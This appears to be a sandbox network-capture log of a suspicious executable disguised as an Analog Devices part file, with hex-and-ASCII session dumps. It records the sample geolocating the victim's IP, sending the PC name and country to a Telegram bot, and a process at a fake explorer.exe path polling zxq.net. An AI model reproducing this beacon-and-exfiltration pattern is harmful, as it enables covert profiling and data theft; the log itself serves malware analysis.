2024-10-10 08:12:48 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-10 08:12:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49757	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:49 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XuXN8cdhsP1tB32&MD=DR4K1Xpf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-10 08:12:49 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 10c970c7-4b12-4262-9c69-a6dd0bbca319 MS-RequestId: 82ac840a-91aa-4021-b527-3ff4cecbc805 MS-CV: qaIseQfiCUyEX4kA.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 10 Oct 2024 08:12:49 GMT Connection: close Content-Length: 24490
2024-10-10 08:12:49 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-10 08:12:49 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49762	51.81.194.202	443	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:49 UTC	221	OUT	GET /what-happened-to-the-old-zxq-website/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-10 08:12:49 UTC	591	IN	HTTP/1.1 200 OK Connection: close content-type: text/html; charset=UTF-8 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" link: <https://zxq.net/wp-json/wp/v2/pages/187>; rel="alternate"; type="application/json" link: <https://zxq.net/?p=187>; rel=shortlink etag: "66796-1728056042;;;" x-litespeed-cache: hit transfer-encoding: chunked date: Thu, 10 Oct 2024 08:12:49 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-10-10 08:12:49 UTC	777	IN	Data Raw: 65 31 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 73 2d 64 61 72 6b 20 73 69 74 65 2d 73 2d 64 61 72 6b 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 Data Ascii: e161<!DOCTYPE html><html lang="en-US" class="s-dark site-s-dark"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snipp
2024-10-10 08:12:50 UTC	14994	IN	Data Raw: 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 72 74 69 63 6c 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 57 68 61 74 20 68 61 70 70 65 6e 65 64 20 74 6f 20 74 68 65 20 6f 6c 64 20 5a 58 51 20 77 65 62 73 69 74 65 3f 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 46 6f 72 20 5a 58 51 2e 6e 65 74 20 53 75 62 64 6f 6d 61 69 6e 20 4f 77 6e 65 72 73 20 54 68 65 20 6f 6c 64 20 5a 58 51 20 77 65 62 73 69 74 65 20 68 61 64 20 62 65 65 6e 20 73 68 75 74 20 64 6f 77 6e 20 62 79 20 74 68 65 Data Ascii: ><meta property="og:type" content="article" /><meta property="og:title" content="What happened to the old ZXQ website?" /><meta property="og:description" content="Information For ZXQ.net Subdomain Owners The old ZXQ website had been shut down by the
2024-10-10 08:12:50 UTC	16384	IN	Data Raw: 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2e 30 35 65 6d 3b 20 7d 0a 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 61 69 6e 20 2e 6d 65 6e 75 20 3e 20 6c 69 20 6c 69 20 61 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 7d 0a 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 61 69 6e 20 7b 20 2d 2d 6e 61 76 2d 69 74 65 6d 73 2d 73 70 61 63 65 3a 20 33 33 70 78 3b 20 7d 0a 2e 73 2d 6c 69 67 68 74 20 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 61 69 6e 20 7b 20 2d 2d 63 2d 6e 61 76 3a 20 23 30 30 30 30 30 30 3b 20 7d 0a 2e 73 2d 6c 69 67 68 74 20 2e 6e 61 76 69 67 61 74 69 6f 6e 20 7b 20 2d 2d 63 2d 6e 61 76 2d 62 6c 69 70 3a 20 76 61 72 28 Data Ascii: weight: bold; text-transform: uppercase; letter-spacing: .05em; }.navigation-main .menu > li li a { font-size: 14px; }.navigation-main { --nav-items-space: 33px; }.s-light .navigation-main { --c-nav: #000000; }.s-light .navigation { --c-nav-blip: var(
2024-10-10 08:12:50 UTC	16384	IN	Data Raw: 2e 6e 65 74 2f 22 20 74 69 74 6c 65 3d 22 5a 58 51 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 2d 6c 69 6e 6b 20 74 73 2d 6c 6f 67 6f 20 6c 6f 67 6f 2d 69 73 2d 69 6d 61 67 65 22 3e 0a 09 09 3c 73 70 61 6e 3e 0a 09 09 09 0a 09 09 09 09 0a 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 7a 78 71 2e 6e 65 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 32 2f 30 32 2f 5a 58 51 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 2d 69 6d 61 67 65 22 20 61 6c 74 3d 22 5a 58 51 22 20 77 69 64 74 68 3d 22 32 30 33 22 20 68 65 69 67 68 74 3d 22 36 36 22 2f 3e 0a 09 09 09 09 09 09 09 09 09 20 0a 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 3c 2f 61 3e 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 Data Ascii: .net/" title="ZXQ" rel="home" class="logo-link ts-logo logo-is-image"><span><img src="https://zxq.net/wp-content/uploads/2022/02/ZXQ.png" class="logo-image" alt="ZXQ" width="203" height="66"/> </span></a></div>
2024-10-10 08:12:50 UTC	9166	IN	Data Raw: 74 2d 6d 65 74 61 2d 61 20 70 6f 73 74 2d 6d 65 74 61 2d 6c 65 66 74 20 68 61 73 2d 62 65 6c 6f 77 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 73 2d 74 69 74 6c 65 20 70 6f 73 74 2d 74 69 74 6c 65 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 7a 78 71 2e 6e 65 74 2f 74 6f 70 2d 6d 6f 64 65 72 6e 2d 73 65 63 75 72 69 74 79 2d 64 65 76 69 63 65 73 2d 74 6f 2d 69 6e 73 74 61 6c 6c 2d 69 6e 2d 79 6f 75 72 2d 68 6f 6d 65 2f 22 3e 3c 73 74 72 6f 6e 67 3e 54 6f 70 20 4d 6f 64 65 72 6e 20 53 65 63 75 72 69 74 79 20 44 65 76 69 63 65 73 20 74 6f 20 49 6e 73 74 61 6c 6c 20 69 6e 20 59 6f 75 72 20 48 6f 6d 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 73 74 2d 6d 65 74 61 2d 69 74 65 6d 73 20 6d 65 Data Ascii: t-meta-a post-meta-left has-below"><div class="is-title post-title"><a href="https://zxq.net/top-modern-security-devices-to-install-in-your-home/"><strong>Top Modern Security Devices to Install in Your Home</strong></a></div><div class="post-meta-items me
2024-10-10 08:12:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49764	188.114.96.3	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:50 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-10 08:12:50 UTC	705	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:50 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2663 Last-Modified: Thu, 10 Oct 2024 07:28:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jo1P04K2l9Xn3hiXhs4BmOLBh5w22qjEFG2fAUh2wcCDWTjZT3OhxdIz4y7NDY%2FPseddFYhzEJ75yG8gq%2BzTtsDC67HfIaZFGNBj2e9o97sGAskdVDKLMTuJPh3c13lX5soLR%2Fib"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0525cdf9a63338-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 08:12:50 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-10 08:12:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49768	188.114.96.3	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:51 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-10 08:12:51 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:51 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2664 Last-Modified: Thu, 10 Oct 2024 07:28:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FLJKEsAFg1ZvBX%2F%2B0LNMoPo0ORednA67TH8%2BsfIsoTlkoWG%2FaouQS%2FH6wclfzYubZ1ffDQdJXH5EENKsHvlVVrCxUP6tDov0VRcewA4dISI%2FC9BuM42%2FQ0J0qN2pSsM5TQ5vZDPn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0525d64b5c4283-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 08:12:51 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-10 08:12:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49770	149.154.167.220	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:52 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20and%20Time:%2010/10/2024%20/%2016:46:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20358075%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-10 08:12:52 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 10 Oct 2024 08:12:52 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-10 08:12:52 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49776	51.81.194.202	443	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:01 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-10 08:13:02 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Thu, 10 Oct 2024 08:13:02 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	64569	13.85.23.206	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:06 UTC	142	OUT	GET /clientwebservice/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: fe3cr.delivery.mp.microsoft.com
2024-10-10 08:13:10 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Date: Thu, 10 Oct 2024 08:13:10 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	64572	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:11 UTC	124	OUT	GET /sls/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: slscr.update.microsoft.com
2024-10-10 08:13:11 UTC	318	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 MS-CV: 98X+jyYtVU+yK4L9.0 MS-RequestId: da1e65a4-e2f3-43a7-8152-f2bfc1dcd283 MS-CorrelationId: a061c6a2-8cee-47b3-aeed-15cce3b0832d X-Content-Type-Options: nosniff Date: Thu, 10 Oct 2024 08:13:11 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	64574	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:13 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XuXN8cdhsP1tB32&MD=DR4K1Xpf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-10 08:13:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 241ddb71-c13f-4e60-9395-7c486822c154 MS-RequestId: c1bbe631-fee6-4201-b3bb-038d9065f222 MS-CV: LRoQHR6UGUKTWDaW.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 10 Oct 2024 08:13:13 GMT Connection: close Content-Length: 24490
2024-10-10 08:13:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-10 08:13:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	64575	51.81.194.202	443	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:14 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-10 08:13:14 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Thu, 10 Oct 2024 08:13:14 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	64576	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
